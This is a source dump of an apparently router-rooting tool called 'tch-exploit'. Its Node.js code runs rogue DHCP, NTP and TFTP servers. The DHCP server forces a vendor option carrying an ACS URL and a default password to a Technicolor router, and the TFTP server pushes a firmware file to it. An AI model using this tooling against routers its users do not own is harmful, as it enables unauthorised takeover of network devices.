server, timeout; 32 | ref = this, server = ref.server, port = ref.port, timeout = ref.timeout; 33 | packet = NTP.createPacket(); 34 | this.socket.send(packet, 0, packet.length, port, server, (function(_this) { 35 | return function(err) { 36 | if (err) { 37 | return callback(err); 38 | } 39 | return _this.socket.once('message', function(data) { 40 | var message; 41 | message = NTP.parse(data); 42 | return callback(err, message); 43 | }); 44 | }; 45 | })(this)); 46 | return this; 47 | }; 48 | 49 | NTP.time = function(options, callback) { 50 | return new NTP(options, callback); 51 | }; 52 | 53 | NTP.createPacket = function() { 54 | var packet; 55 | packet = new Packet; 56 | packet.mode = Packet.MODES.CLIENT; 57 | return packet.toBuffer(); 58 | }; 59 | 60 | NTP.parse = function(buffer) { 61 | var T1, T2, T3, T4, message; 62 | message = Packet.parse(buffer); 63 | T1 = message.originateTimestamp; 64 | T2 = message.receiveTimestamp; 65 | T3 = message.transmitTimestamp; 66 | T4 = message.destinationTimestamp; 67 | message.d = T4 - T1 - (T3 - T2); 68 | message.t = (T2 - T1 + T3 - T4) / 2; 69 | return message; 70 | }; 71 | 72 | return NTP; 73 | 74 | })(EventEmitter); 75 | 76 | module.exports = NTP; 77 | -------------------------------------------------------------------------------- /dist/ntp/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | var createServer, ntp; 3 | 4 | createServer = require('./server').createServer; 5 | 6 | ntp = createServer(function(message, response) { 7 | console.log('server message:', message); 8 | return response(message); 9 | }); 10 | 11 | ntp.listen(123, function(err) { 12 | return console.log('ntp server is running at %s', ntp.address().port); 13 | }); 14 | 15 | module.exports = ntp; 16 | -------------------------------------------------------------------------------- /dist/ntp/packet.js: -------------------------------------------------------------------------------- 1 | var Packet, SEVENTY_YEARS, after, assert, before, toMsecs, writeMsecs; 2 | 3 | assert = require('assert'); 4 | 5 | SEVENTY_YEARS = 2208988800; 6 | 7 | toMsecs = function(buffer, offset) { 8 | var fraction, i, seconds; 9 | seconds = 0; 10 | fraction = 0; 11 | i = 0; 12 | while (i < 4) { 13 | seconds = seconds * 256 + buffer[offset + i]; 14 | ++i; 15 | } 16 | i = 4; 17 | while (i < 8) { 18 | fraction = fraction * 256 + buffer[offset + i]; 19 | ++i; 20 | } 21 | return (seconds - SEVENTY_YEARS + fraction / Math.pow(2, 32)) * 1000; 22 | }; 23 | 24 | writeMsecs = function(buffer, offset, ts) { 25 | var fraction, seconds; 26 | seconds = Math.floor(ts / 1000) + SEVENTY_YEARS - SEVENTY_YEARS; 27 | fraction = Math.round(ts % 1000 / 1000 * Math.pow(2, 32)); 28 | buffer[offset + 0] = (seconds & 0xFF000000) >> 24; 29 | buffer[offset + 1] = (seconds & 0x00FF0000) >> 16; 30 | buffer[offset + 2] = (seconds & 0x0000FF00) >> 8; 31 | buffer[offset + 3] = seconds & 0x000000FF; 32 | buffer[offset + 4] = (fraction & 0xFF000000) >> 24; 33 | buffer[offset + 5] = (fraction & 0x00FF0000) >> 16; 34 | buffer[offset + 6] = (fraction & 0x0000FF00) >> 8; 35 | buffer[offset + 7] = fraction & 0x000000FF; 36 | return buffer; 37 | }; 38 | 39 | before = function(val) { 40 | var value; 41 | value = parseInt(val.toString().split('.')[0], 10); 42 | if (value) { 43 | return value; 44 | } else { 45 | return 0; 46 | } 47 | }; 48 | 49 | after = function(val) { 50 | var value; 51 | value = parseInt(val.toString().split('.')[1], 10); 52 | if (value) { 53 | return value; 54 | } else { 55 | return 0; 56 | } 57 | }; 58 | 59 | Packet = (function() { 60 | Packet.MODES = { 61 | CLIENT: 3, 62 | SERVER: 4 63 | }; 64 | 65 | function Packet() { 66 | Object.assign(this, { 67 | leapIndicator: 0, 68 | version: 4, 69 | mode: 3, 70 | stratum: 0, 71 | pollInterval: 6, 72 | precision: 236, 73 | referenceIdentifier: 0, 74 | referenceTimestamp: 0, 75 | originateTimestamp: 0, 76 | receiveTimestamp: 0, 77 | transmitTimestamp: 0 78 | }); 79 | } 80 | 81 | Packet.parse = function(buffer) { 82 | var packet; 83 | assert.equal(buffer.length, 48, 'Invalid Package'); 84 | packet = new Packet; 85 | packet.leapIndicator = buffer[0] >> 6; 86 | packet.version = (buffer[0] & 0x38) >> 3; 87 | packet.mode = buffer[0] & 0x7; 88 | packet.stratum = buffer[1]; 89 | packet.pollInterval = buffer[2]; 90 | packet.precision = buffer[3]; 91 | packet.rootDelay = buffer.slice(4, 8); 92 | packet.rootDispersion = buffer.slice(8, 12); 93 | packet.referenceIdentifier = buffer.slice(12, 16); 94 | packet.referenceTimestamp = toMsecs(buffer, 16); 95 | packet.originateTimestamp = toMsecs(buffer, 24); 96 | packet.receiveTimestamp = toMsecs(buffer, 32); 97 | packet.transmitTimestamp = toMsecs(buffer, 40); 98 | return packet; 99 | }; 100 | 101 | Packet.prototype.toBuffer = function() { 102 | var buffer; 103 | buffer = Buffer.alloc(48).fill(0x00); 104 | buffer[0] = 0; 105 | buffer[0] += this.leapIndicator << 6; 106 | buffer[0] += this.version << 3; 107 | buffer[0] += this.mode << 0; 108 | buffer[1] = this.stratum; 109 | buffer[2] = this.pollInterval; 110 | buffer[3] = this.precision; 111 | buffer.writeUInt32BE(this.rootDelay, 4); 112 | buffer.writeUInt32BE(this.rootDispersion, 8); 113 | buffer.writeUInt32BE(this.referenceIdentifier, 12); 114 | writeMsecs(buffer, 16, this.referenceTimestamp); 115 | writeMsecs(buffer, 24, this.originateTimestamp); 116 | writeMsecs(buffer, 32, this.receiveTimestamp); 117 | writeMsecs(buffer, 40, this.transmitTimestamp); 118 | return buffer; 119 | }; 120 | 121 | Packet.prototype.toJSON = function() { 122 | var output; 123 | output = Object.assign({}, this); 124 | output.version = this.version; 125 | output.leapIndicator = { 126 | 0: 'no-warning', 127 | 1: 'last-minute-61', 128 | 2: 'last-minute-59', 129 | 3: 'alarm' 130 | }[this.leapIndicator]; 131 | switch (this.mode) { 132 | case 1: 133 | output.mode = 'symmetric-active'; 134 | break; 135 | case 2: 136 | output.mode = 'symmetric-passive'; 137 | break; 138 | case 3: 139 | output.mode = 'client'; 140 | break; 141 | case 4: 142 | output.mode = 'server'; 143 | break; 144 | case 5: 145 | output.mode = 'broadcast'; 146 | break; 147 | case 0: 148 | case 6: 149 | case 7: 150 | output.mode = 'reserved'; 151 | } 152 | if (this.stratum === 0) { 153 | output.stratum = 'death'; 154 | } else if (this.stratum === 1) { 155 | output.stratum = 'primary'; 156 | } else if (this.stratum <= 15) { 157 | output.stratum = 'secondary'; 158 | } else { 159 | output.stratum = 'reserved'; 160 | } 161 | output.referenceTimestamp = new Date(this.referenceTimestamp); 162 | output.originateTimestamp = new Date(this.originateTimestamp); 163 | output.receiveTimestamp = new Date(this.receiveTimestamp); 164 | output.transmitTimestamp = new Date(this.transmitTimestamp); 165 | output.destinationTimestamp = new Date(this.destinationTimestamp); 166 | return output; 167 | }; 168 | 169 | return Packet; 170 | 171 | })(); 172 | 173 | module.exports = Packet; 174 | -------------------------------------------------------------------------------- /dist/ntp/server.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | var EventEmitter, NTPServer, Packet, udp, 3 | extend = function(child, parent) { for (var key in parent) { if (hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }, 4 | hasProp = {}.hasOwnProperty; 5 | 6 | udp = require('dgram'); 7 | 8 | EventEmitter = require('events'); 9 | 10 | Packet = require('./packet'); 11 | 12 | NTPServer = (function(superClass) { 13 | extend(NTPServer, superClass); 14 | 15 | NTPServer.createServer = function(options) { 16 | return new NTPServer(options); 17 | }; 18 | 19 | function NTPServer(options, onRequest) { 20 | NTPServer.__super__.constructor.call(this); 21 | if (typeof options === 'function') { 22 | onRequest = options; 23 | options = {}; 24 | } 25 | Object.assign(this, { 26 | port: 123 27 | }, options); 28 | this.socket = udp.createSocket('udp4'); 29 | this.socket.on('message', this.parse.bind(this)); 30 | if (onRequest) { 31 | this.on('request', onRequest); 32 | } 33 | this; 34 | } 35 | 36 | NTPServer.prototype.listen = function(port, address) { 37 | this.socket.bind(port || this.port, address); 38 | return this; 39 | }; 40 | 41 | NTPServer.prototype.address = function() { 42 | return this.socket.address(); 43 | }; 44 | 45 | NTPServer.prototype.send = function(rinfo, message, callback) { 46 | if (callback == null) { 47 | callback = function() {}; 48 | } 49 | if (message instanceof Packet) { 50 | message.mode = Packet.MODES.SERVER; 51 | message = message.toBuffer(); 52 | } 53 | console.log('response', message, 0, message.length, rinfo.port, rinfo.address); 54 | this.socket.send(message, 0, message.length, rinfo.port, rinfo.address); 55 | this.socket.send(message, rinfo.port, rinfo.server, callback); 56 | return this; 57 | }; 58 | 59 | NTPServer.prototype.parse = function(message, rinfo) { 60 | var packet; 61 | packet = Packet.parse(message); 62 | this.send(rinfo, packet, function(err) { 63 | if (err) { 64 | return console.error(err); 65 | } 66 | }); 67 | return this; 68 | }; 69 | 70 | return NTPServer; 71 | 72 | })(EventEmitter); 73 | 74 | module.exports = NTPServer; 75 | -------------------------------------------------------------------------------- /dist/ntp/server2.js: -------------------------------------------------------------------------------- 1 | var EventEmitter, TimeServer, dgram, server, util, 2 | extend = function(child, parent) { for (var key in parent) { if (hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }, 3 | hasProp = {}.hasOwnProperty; 4 | 5 | EventEmitter = require('events').EventEmitter; 6 | 7 | util = require('util'); 8 | 9 | dgram = require('dgram'); 10 | 11 | TimeServer = (function(superClass) { 12 | extend(TimeServer, superClass); 13 | 14 | function TimeServer(time, error, version, mode, stratum, delay, dispersion) { 15 | var createTime, ntp_peer_clock_precision, ntp_peer_clock_stratum, ntp_reference_id, ntp_root_delay, ntp_root_dispersion, ntp_seconds_since_epoch, ntp_server_error, ntp_server_mode, ntp_server_version; 16 | TimeServer.__super__.constructor.apply(this, arguments); 17 | this._socket = dgram.createSocket('udp4'); 18 | ntp_server_error = ('0' + parseInt(error, 10).toString(2)).slice(-2); 19 | ntp_server_version = ('00' + parseInt(version, 10).toString(2)).slice(-3); 20 | ntp_server_mode = ('00' + parseInt(mode, 10).toString(2)).slice(-3); 21 | ntp_peer_clock_stratum = '1'; 22 | ntp_peer_clock_precision = '128'; 23 | ntp_root_delay = '0.9900'; 24 | ntp_root_dispersion = '0.9900'; 25 | ntp_seconds_since_epoch = '2208988800'; 26 | ntp_reference_id = [78, 85, 76, 76]; 27 | if (time === '') { 28 | createTime = 'recent'; 29 | } else { 30 | createTime = (parseInt(new Date / 1000) - parseInt(time)).toString(); 31 | } 32 | this._socket.on('message', (function(_this) { 33 | return function(msg, rinfo) { 34 | var timestamp; 35 | _this.emit('data', 'received message from ' + rinfo.address + ':' + rinfo.port); 36 | if (createTime === 'recent') { 37 | timestamp = (new Date / 1000).toString(); 38 | } else { 39 | timestamp = (parseInt(new Date / 1000) - parseInt(createTime)).toString(); 40 | } 41 | msg.writeUIntBE(parseInt(ntp_server_error + ntp_server_version + ntp_server_mode, 2), 0, 1); 42 | msg.writeUIntBE(parseInt(ntp_peer_clock_stratum, 10), 1, 1); 43 | msg.writeUIntBE(parseInt(ntp_peer_clock_precision, 10), 3, 1); 44 | msg.writeUIntBE(ntp_root_delay.before(), 4, 2); 45 | msg.writeUIntBE(65535 / 10000 * ntp_root_delay.after(), 6, 2); 46 | msg.writeUIntBE(parseInt(ntp_root_dispersion.before(), 10), 8, 2); 47 | msg.writeUIntBE(65535 / 10000 * ntp_root_dispersion.after(), 10, 2); 48 | msg.writeUIntBE(parseInt(ntp_reference_id[0], 10), 12, 1); 49 | msg.writeUIntBE(parseInt(ntp_reference_id[1], 10), 13, 1); 50 | msg.writeUIntBE(parseInt(ntp_reference_id[2], 10), 14, 1); 51 | msg.writeUIntBE(parseInt(ntp_reference_id[3], 10), 15, 1); 52 | msg.writeUIntBE(parseInt(ntp_seconds_since_epoch, 10) + timestamp.before(), 16, 4); 53 | msg.writeUIntBE(parseInt(ntp_seconds_since_epoch, 10) + timestamp.before(), 24, 4); 54 | msg.writeUIntBE(parseInt(ntp_seconds_since_epoch, 10) + timestamp.before(), 32, 4); 55 | msg.writeUIntBE(parseInt(ntp_seconds_since_epoch, 10) + timestamp.before(), 40, 4); 56 | return _this._socket.send(msg, 0, msg.length, rinfo.port, rinfo.address, function(err, bytes) { 57 | if (err) { 58 | throw err; 59 | } 60 | return _this.emit('data', 'send response to ' + rinfo.address + ':' + rinfo.port); 61 | }); 62 | }; 63 | })(this)); 64 | this._socket.on('listening', (function(_this) { 65 | return function() { 66 | var address; 67 | address = _this._socket.address(); 68 | return _this.emit('data', 'server listening ' + address.address + ':' + address.port); 69 | }; 70 | })(this)); 71 | this._socket.on('error', (function(_this) { 72 | return function(err) { 73 | return _this.emit('data', err); 74 | }; 75 | })(this)); 76 | this._socket.bind(123); 77 | } 78 | 79 | return TimeServer; 80 | 81 | })(EventEmitter); 82 | 83 | String.prototype.before = function() { 84 | var value; 85 | value = parseInt(this.toString().split('.')[0], 10); 86 | if (value) { 87 | return value; 88 | } else { 89 | return 0; 90 | } 91 | }; 92 | 93 | String.prototype.after = function() { 94 | var value; 95 | value = parseInt(this.toString().split('.')[1], 10); 96 | if (value) { 97 | return value; 98 | } else { 99 | return 0; 100 | } 101 | }; 102 | 103 | server = new TimeServer('1220580245', '0', '4', '4', '1', '0.9900', '0.9900'); 104 | 105 | server.on('data', function(output) { 106 | return console.log(output); 107 | }); 108 | 109 | module.exports = TimeServer; 110 | -------------------------------------------------------------------------------- /dist/port.js: -------------------------------------------------------------------------------- 1 | var net; 2 | 3 | net = require('net'); 4 | 5 | module.exports = function() { 6 | return new Promise(function(resolve, reject) { 7 | var server; 8 | server = net.createServer(); 9 | server.unref(); 10 | server.on('error', reject); 11 | return server.listen(0, function() { 12 | var port; 13 | port = server.address().port; 14 | return server.close(function() { 15 | return resolve(port); 16 | }); 17 | }); 18 | }); 19 | }; 20 | -------------------------------------------------------------------------------- /dist/tftp.js: -------------------------------------------------------------------------------- 1 | var ProgressIndicator, Transform, createServer, dhcp, fs, ips, path, 2 | extend = function(child, parent) { for (var key in parent) { if (hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }, 3 | hasProp = {}.hasOwnProperty; 4 | 5 | fs = require('fs'); 6 | 7 | path = require('path'); 8 | 9 | createServer = require('tftp').createServer; 10 | 11 | Transform = require('stream').Transform; 12 | 13 | dhcp = require('./dhcp/server'); 14 | 15 | ips = require('./ips')(); 16 | 17 | ProgressIndicator = (function(superClass) { 18 | extend(ProgressIndicator, superClass); 19 | 20 | function ProgressIndicator(size, options) { 21 | this.size = size; 22 | ProgressIndicator.__super__.constructor.call(this, options); 23 | this.last = 0; 24 | this.bytes = 0; 25 | } 26 | 27 | ProgressIndicator.prototype._transform = function(chunk, encoding, cb) { 28 | var percent; 29 | this.bytes += chunk.length; 30 | percent = this.bytes / this.size * 100 | 0; 31 | if ((percent % 5) === 0 && percent !== this.last) { 32 | this.last = percent; 33 | this.emit('progress', { 34 | percent: percent, 35 | loaded: this.bytes, 36 | total: this.size 37 | }); 38 | } 39 | cb(null, chunk); 40 | }; 41 | 42 | return ProgressIndicator; 43 | 44 | })(Transform); 45 | 46 | module.exports = function(arg) { 47 | var addr, dhcpd, eth, ip, network, server, tftp; 48 | eth = arg.eth, ip = arg.ip, tftp = arg.tftp; 49 | if (eth != null) { 50 | network = ips.find(function(arg1) { 51 | var name; 52 | name = arg1.name; 53 | return name === eth; 54 | }); 55 | } 56 | if (ip == null) { 57 | ip = network != null ? network.address : void 0; 58 | } 59 | addr = ip.split('.'); 60 | addr.pop(); 61 | addr = addr.join('.'); 62 | dhcpd = dhcp.createServer({ 63 | range: [addr + '.10', addr + '.15'], 64 | forceOptions: ['router', 'hostname', 'bootFile'], 65 | randomIP: true, 66 | netmask: '255.255.255.0', 67 | router: [ip], 68 | hostname: 'second.gateway', 69 | broadcast: addr + '.255', 70 | bootFile: function(req, res) { 71 | console.log(req, res); 72 | return path.basename(tftp); 73 | }, 74 | server: ip 75 | }).on('listening', function(sock, type) { 76 | var address, port, ref; 77 | ref = sock.address(), address = ref.address, port = ref.port; 78 | return console.log("Waiting for DHCP" + type + " request... " + address + ":" + port); 79 | }).on('message', function(data) { 80 | return console.log('### MESSAGE', JSON.stringify(data)); 81 | }).on('bound', function(state, ans) { 82 | return console.log('### BOUND', JSON.stringify(state)); 83 | }).on('error', function(err, data) { 84 | if (!data) { 85 | return; 86 | } 87 | return console.log('!!! ERROR', err, data); 88 | }).listen(67); 89 | server = createServer({ 90 | host: '0.0.0.0', 91 | port: 69, 92 | denyPUT: true 93 | }, function(req, res) { 94 | var done, firmwareStream, prog, stats; 95 | console.log('Received tftp request from', req.stats.remoteAddress, 'for file', req.file); 96 | stats = fs.statSync(tftp); 97 | res.setSize(stats.size); 98 | firmwareStream = fs.createReadStream(tftp); 99 | console.log('Sending firmware to router...'); 100 | prog = new ProgressIndicator(stats.size); 101 | done = false; 102 | prog.on('progress', function(arg1) { 103 | var p, percent; 104 | percent = arg1.percent; 105 | p = Math.round(percent * 100) / 100; 106 | if (p % 10 === 0) { 107 | console.log('Sent: ' + p + '%'); 108 | } 109 | if (percent >= 100) { 110 | if (done) { 111 | return; 112 | } 113 | console.log('Firmware sent! Now just wait for the router to reboot'); 114 | firmwareStream.close(); 115 | done = true; 116 | } 117 | }); 118 | firmwareStream.pipe(prog).pipe(res); 119 | return req.on('error', function(err) { 120 | return console.error('ERROR:', err); 121 | }); 122 | }); 123 | server.on('error', function(err) { 124 | return console.error('ERROR:', err); 125 | }); 126 | console.log('Starting tftp server, listening on ' + ip + ':69'); 127 | server.listen(); 128 | return [dhcpd, server]; 129 | }; 130 | -------------------------------------------------------------------------------- /images/IP_address.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoLaMN/tch-exploit/3f9c61fe502ebdafbf4173ddcbcdfcf243135a15/images/IP_address.jpg -------------------------------------------------------------------------------- /images/finished.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoLaMN/tch-exploit/3f9c61fe502ebdafbf4173ddcbcdfcf243135a15/images/finished.jpg -------------------------------------------------------------------------------- /images/ipconfig.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoLaMN/tch-exploit/3f9c61fe502ebdafbf4173ddcbcdfcf243135a15/images/ipconfig.jpg -------------------------------------------------------------------------------- /images/press_WPS.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoLaMN/tch-exploit/3f9c61fe502ebdafbf4173ddcbcdfcf243135a15/images/press_WPS.jpg -------------------------------------------------------------------------------- /images/screen1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoLaMN/tch-exploit/3f9c61fe502ebdafbf4173ddcbcdfcf243135a15/images/screen1.jpg -------------------------------------------------------------------------------- /images/screen2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoLaMN/tch-exploit/3f9c61fe502ebdafbf4173ddcbcdfcf243135a15/images/screen2.jpg -------------------------------------------------------------------------------- /images/tch-exploit-win.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoLaMN/tch-exploit/3f9c61fe502ebdafbf4173ddcbcdfcf243135a15/images/tch-exploit-win.jpg -------------------------------------------------------------------------------- /package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "tch-exploit", 3 | "version": "2.0.0-rc3", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "argp": { 8 | "version": "1.0.4", 9 | "resolved": "https://registry.npmjs.org/argp/-/argp-1.0.4.tgz", 10 | "integrity": "sha1-sxxzB1rW1syx2MhqzWn/MAMFsZQ=" 11 | }, 12 | "progress-bar-formatter": { 13 | "version": "2.0.1", 14 | "resolved": "https://registry.npmjs.org/progress-bar-formatter/-/progress-bar-formatter-2.0.1.tgz", 15 | "integrity": "sha1-DZfrsWRn4sIwg3NXIXa3w1UeVW4=" 16 | }, 17 | "status-bar": { 18 | "version": "2.0.3", 19 | "resolved": "https://registry.npmjs.org/status-bar/-/status-bar-2.0.3.tgz", 20 | "integrity": "sha1-DSaAIixFfhLeN86+FDjdScTgbhQ=", 21 | "requires": { 22 | "progress-bar-formatter": "^2.0.1" 23 | } 24 | }, 25 | "tftp": { 26 | "version": "0.1.2", 27 | "resolved": "https://registry.npmjs.org/tftp/-/tftp-0.1.2.tgz", 28 | "integrity": "sha1-lWdMCn/Ku1N1Wr7wutP55U/gt7U=", 29 | "requires": { 30 | "argp": "1.0.x", 31 | "status-bar": "2.0.x" 32 | } 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "tch-exploit", 3 | "version": "2.0.1-rc8", 4 | "main": "dist/index.js", 5 | "bin": "dist/index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1", 8 | "compile": "coffee --no-header --bare --compile --output dist src", 9 | "package": "npm run compile && rm -fr release/* && pkg --out-path release/ .", 10 | "compress": "zip -r -X tch-exploit-win.zip release/tch-exploit-win.exe && zip -r -X tch-exploit-macos.zip release/tch-exploit-macos && zip -r -X tch-exploit-linux.zip release/tch-exploit-linux" 11 | }, 12 | "pkg": { 13 | "scripts": "dist/*{,*/}*.js" 14 | }, 15 | "author": "BoLaMN", 16 | "license": "MIT", 17 | "description": "", 18 | "dependencies": { 19 | "tftp": "^0.1.2" 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/args.coffee: -------------------------------------------------------------------------------- 1 | snakeToCamel = (s) -> 2 | s.replace /(\-\w)/g, (m) -> 3 | m[1].toUpperCase() 4 | 5 | module.exports = process.argv 6 | .slice 2, process.argv.length 7 | .reduce (args, str) -> 8 | arg = str.split '=' 9 | flag = arg[0].slice 2, arg[0].length 10 | value = arg[1] or true 11 | 12 | args[snakeToCamel(flag)] = value 13 | args 14 | , {} 15 | -------------------------------------------------------------------------------- /src/ask.coffee: -------------------------------------------------------------------------------- 1 | { networkInterfaces } = require 'os' 2 | 3 | ips = require './ips' 4 | 5 | readline = require 'readline' 6 | .createInterface 7 | input: process.stdin 8 | output: process.stdout 9 | 10 | module.exports = (ip) -> 11 | interval = null 12 | 13 | addr = [] 14 | 15 | check = -> 16 | addr = ips() 17 | 18 | addr.find ({ address }) -> address is ip 19 | 20 | p = new Promise (resolve, reject) -> 21 | 22 | ask = -> 23 | add = check() 24 | 25 | if add then return resolve add 26 | 27 | console.log "Could not find interface with ip: #{ ip }" 28 | console.table addr 29 | 30 | readline.question "Select network interface: ", (idx) -> 31 | if not addr[idx]? 32 | console.log 'Unknown index: ' + idx 33 | return ask() 34 | 35 | if addr[idx].address isnt ip 36 | return ask() 37 | 38 | resolve addr[idx] 39 | 40 | interval = setInterval -> 41 | add = check() 42 | 43 | if add then resolve add 44 | , 2000 45 | 46 | ask() 47 | 48 | p.then (add) -> 49 | console.log "using interface", add 50 | 51 | clearInterval interval 52 | readline.close() 53 | 54 | p 55 | -------------------------------------------------------------------------------- /src/dhcp/constants.coffee: -------------------------------------------------------------------------------- 1 | module.exports = 2 | 3 | DHCPDISCOVER: 1 4 | DHCPOFFER: 2 5 | DHCPREQUEST: 3 6 | DHCPDECLINE: 4 7 | DHCPACK: 5 8 | DHCPNAK: 6 9 | DHCPRELEASE: 7 10 | DHCPINFORM: 8 11 | 12 | SERVER_PORT: 67 13 | CLIENT_PORT: 68 14 | 15 | INADDR_ANY: '0.0.0.0' 16 | INADDR_BROADCAST: '255.255.255.255' 17 | 18 | BOOTREQUEST: 1 19 | BOOTREPLY: 2 20 | 21 | DHCPV6: 22 | 23 | MESSAGETYPE: 24 | 1: 'SOLICIT' 25 | 2: 'ADVERTISE' 26 | 3: 'REQUEST' 27 | 4: 'CONFIRM' 28 | 5: 'RENEW' 29 | 6: 'REBIND' 30 | 7: 'REPLY' 31 | 8: 'RELEASE' 32 | 9: 'DECLINE' 33 | 10: 'RECONFIGURE' 34 | 11: 'INFORMATION_REQUEST' 35 | 12: 'RELAY_FORW' 36 | 13: 'RELAY_REPL' 37 | 38 | OPTIONS: 39 | 1: 'CLIENTID' 40 | 2: 'SERVERID' 41 | 3: 'IA_NA' 42 | 4: 'IA_TA' 43 | 5: 'IAADDR' 44 | 6: 'ORO' 45 | 7: 'PREFERENCE' 46 | 8: 'ELAPSED_TIME' 47 | 9: 'RELAY_MSG' 48 | 11: 'AUTH' 49 | 12: 'UNICAST' 50 | 13: 'STATUS_CODE' 51 | 14: 'RAPID_COMMIT' 52 | 15: 'USER_CLASS' 53 | 16: 'VENDOR_CLASS' 54 | 17: 'VENDOR_OPTS' 55 | 18: 'INTERFACE_ID' 56 | 19: 'RECONF_MSG' 57 | 20: 'RECONF_ACCEPT' 58 | 21: 'SIP_SERVER_D' 59 | 22: 'SIP_SERVER_A' 60 | 23: 'DNS_SERVERS' 61 | 24: 'DOMAIN_LIST' 62 | 25: 'IA_PD' 63 | 26: 'IAPREFIX' 64 | 27: 'NIS_SERVERS' 65 | 28: 'NISP_SERVERS' 66 | 29: 'NIS_DOMAIN_NAME' 67 | 30: 'NISP_DOMAIN_NAME' 68 | 31: 'SNTP_SERVERS' 69 | 32: 'INFORMATION_REFRESH_TIME' 70 | 33: 'BCMCS_SERVER_D' 71 | 34: 'BCMCS_SERVER_A' 72 | 36: 'GEOCONF_CIVIC' 73 | 37: 'REMOTE_ID' 74 | 38: 'SUBSCRIBER_ID' 75 | 39: 'CLIENT_FQDN' 76 | 40: 'PANA_AGENT' 77 | 41: 'NEW_POSIX_TIMEZONE' 78 | 42: 'NEW_TZDB_TIMEZONE' 79 | 43: 'ERO' 80 | 44: 'LQ_QUERY' 81 | 45: 'CLIENT_DATA' 82 | 46: 'CLT_TIME' 83 | 47: 'LQ_RELAY_DATA' 84 | 48: 'LQ_CLIENT_LINK' 85 | 49: 'MIP6_HNIDF' 86 | 50: 'MIP6_VDINF' 87 | 51: 'V6_LOST' 88 | 52: 'CAPWAP_AC_V6' 89 | 53: 'RELAY_ID' 90 | 54: 'IPv6AddressMoS' 91 | 55: 'IPv6FQDNMoS' 92 | 56: 'NTP_SERVER' 93 | 57: 'V6_ACCESS_DOMAIN' 94 | 58: 'SIP_UA_CS_LIST' 95 | 59: 'BOOTFILE_URL' 96 | 79: 'CLIENT_LINKLAYER_ADDR' 97 | -------------------------------------------------------------------------------- /src/dhcp/index.coffee: -------------------------------------------------------------------------------- 1 | server = require './server' 2 | 3 | path = require 'path' 4 | 5 | toHexArray = (str) -> 6 | str 7 | .split '' 8 | .map (d, i) -> str.charCodeAt i 9 | 10 | module.exports = (ip, acsurl, acspass) -> 11 | ip = ip.split '.' 12 | ip.pop() 13 | ip = ip.join '.' 14 | 15 | acsurl = toHexArray acsurl 16 | acspass = if acspass then toHexArray(acspass) else [ 84, 101, 108, 115, 116, 114, 97 ] 17 | 18 | vendor = [ 1, acsurl.length ].concat acsurl.concat [ 2, acspass.length ].concat acspass 19 | 20 | server 21 | .createServer 22 | range: [ 23 | ip + '.10' 24 | ip + '.15' 25 | ] 26 | forceOptions: [ 'router', 'hostname', 'vendor' ] 27 | randomIP: true 28 | vendor: vendor 29 | netmask: '255.255.255.0' 30 | router: [ ip + '.1' ] 31 | hostname: 'second.gateway' 32 | broadcast: ip + '.255' 33 | server: ip + '.1' 34 | .on 'listening', (sock, type) -> 35 | { address, port } = sock.address() 36 | 37 | console.log "Waiting for DHCP#{type} request... #{ address }:#{ port }" 38 | .on 'message', (data) -> 39 | console.log '### MESSAGE', JSON.stringify data 40 | .on 'bound', (state, ans) -> 41 | console.log '### BOUND', JSON.stringify state 42 | .on 'error', (err, data) -> 43 | return unless data 44 | 45 | console.log '!!! ERROR', err, data 46 | .listen 67 47 | 48 | server 49 | -------------------------------------------------------------------------------- /src/dhcp/lease.coffee: -------------------------------------------------------------------------------- 1 | 2 | class Lease 3 | 4 | bindTime: null 5 | leasePeriod: 86400 6 | renewPeriod: 1440 7 | rebindPeriod: 14400 8 | state: null 9 | server: null 10 | address: null 11 | options: null 12 | tries: 0 13 | xid: 1 14 | 15 | module.exports = Lease 16 | -------------------------------------------------------------------------------- /src/dhcp/options.coffee: -------------------------------------------------------------------------------- 1 | Tools = require './tools' 2 | 3 | opts = 4 | 1: 5 | name: 'Subnet Mask' 6 | type: 'IP' 7 | config: 'netmask' 8 | default: -> 9 | range = @config 'range' 10 | net = Tools.netmaskFromRange range[0], range[1] 11 | 12 | Tools.formatIp net 13 | 2: 14 | name: 'Time Offset' 15 | type: 'Int32' 16 | config: 'timeOffset' 17 | 3: 18 | name: 'Router' 19 | type: 'IPs' 20 | config: 'router' 21 | default: -> 22 | range = @config 'range' 23 | range[0] 24 | 4: 25 | name: 'Time Server' 26 | type: 'IPs' 27 | config: 'timeServer' 28 | 5: 29 | name: 'Name Server' 30 | type: 'IPs' 31 | config: 'nameServer' 32 | 6: 33 | name: 'Domain Name Server' 34 | type: 'IPs' 35 | config: 'dns' 36 | default: [ 37 | '8.8.8.8' 38 | '8.8.4.4' 39 | ] 40 | 7: 41 | name: 'Log Server' 42 | type: 'IPs' 43 | config: 'logServer' 44 | 8: 45 | name: 'Cookie Server' 46 | type: 'IPs' 47 | config: 'cookieServer' 48 | 9: 49 | name: 'LPR Server' 50 | type: 'IPs' 51 | config: 'lprServer' 52 | 10: 53 | name: 'Impress Server' 54 | type: 'IPs' 55 | config: 'impressServer' 56 | 11: 57 | name: 'Resource Location Server' 58 | type: 'IPs' 59 | config: 'rscServer' 60 | 12: 61 | name: 'Host 